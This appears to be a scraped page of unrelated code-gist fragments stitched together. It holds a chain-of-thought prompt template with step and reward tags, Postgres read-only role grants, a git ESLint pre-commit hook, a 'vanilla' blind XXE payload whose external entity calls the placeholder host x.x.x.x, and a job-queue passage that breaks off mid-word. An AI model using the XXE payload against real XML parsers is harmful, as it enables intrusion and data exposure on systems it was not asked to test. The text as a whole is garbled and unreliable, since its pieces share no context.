Begin by enclosing all thoughts within <thinking> tags, exploring multiple angles and approaches. | |
Break down the solution into clear steps within <step> tags. Start with a 20-step budget, requesting more for complex problems if needed. | |
Use <count> tags after each step to show the remaining budget. Stop when reaching 0. | |
Continuously adjust your reasoning based on intermediate results and reflections, adapting your strategy as you progress. | |
Regularly evaluate progress using <reflection> tags. Be critical and honest about your reasoning process. | |
Assign a quality score between 0.0 and 1.0 using <reward> tags after each reflection. Use this to guide your approach: | |
0.8+: Continue current approach | |
0.5-0.7: Consider minor adjustments | |
Below 0.5: Seriously consider backtracking and trying a different approach |
-- | |
-- Read only | |
-- | |
-- Create a group | |
CREATE ROLE postgres_ro_group; | |
-- Grant access to existing tables | |
GRANT USAGE ON SCHEMA public TO postgres_ro_group; | |
GRANT SELECT ON ALL TABLES IN SCHEMA public TO postgres_ro_group; |
#!/bin/sh | |
STAGED_FILES=$(git diff --cached --name-only --diff-filter=ACM | grep ".jsx\{0,1\}$") | |
ESLINT="$(git rev-parse --show-toplevel)/node_modules/.bin/eslint" | |
if [[ "$STAGED_FILES" = "" ]]; then | |
exit 0 | |
fi | |
PASS=true |
-------------------------------------------------------------- | |
Vanilla, used to verify outbound xxe or blind xxe | |
-------------------------------------------------------------- | |
<?xml version="1.0" ?> | |
<!DOCTYPE r [ | |
<!ELEMENT r ANY > | |
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"> | |
]> | |
<r>&sp;</r> |
RDBMS-based job queues have been criticized recently for being unable to handle heavy loads. And they deserve it, to some extent, because the queries used to safely lock a job have been pretty hairy. SELECT FOR UPDATE followed by an UPDATE works fine at first, but then you add more workers, and each is trying to SELECT FOR UPDATE the same row (and maybe throwing NOWAIT in there, then catching the errors and retrying), and things slow down.
On top of that, they have to actually update the row to mark it as locked, so the rest of your workers are sitting there waiting while one of them propagates its lock to disk (and the disks of however many servers you're replicating to). QueueClassic got some mileage out of the novel idea of randomly picking a row near the front of the queue to lock, but I can't still seem to get more than an an extra few hundred jobs per second out of it under heavy load.
So, many developers have started going straight t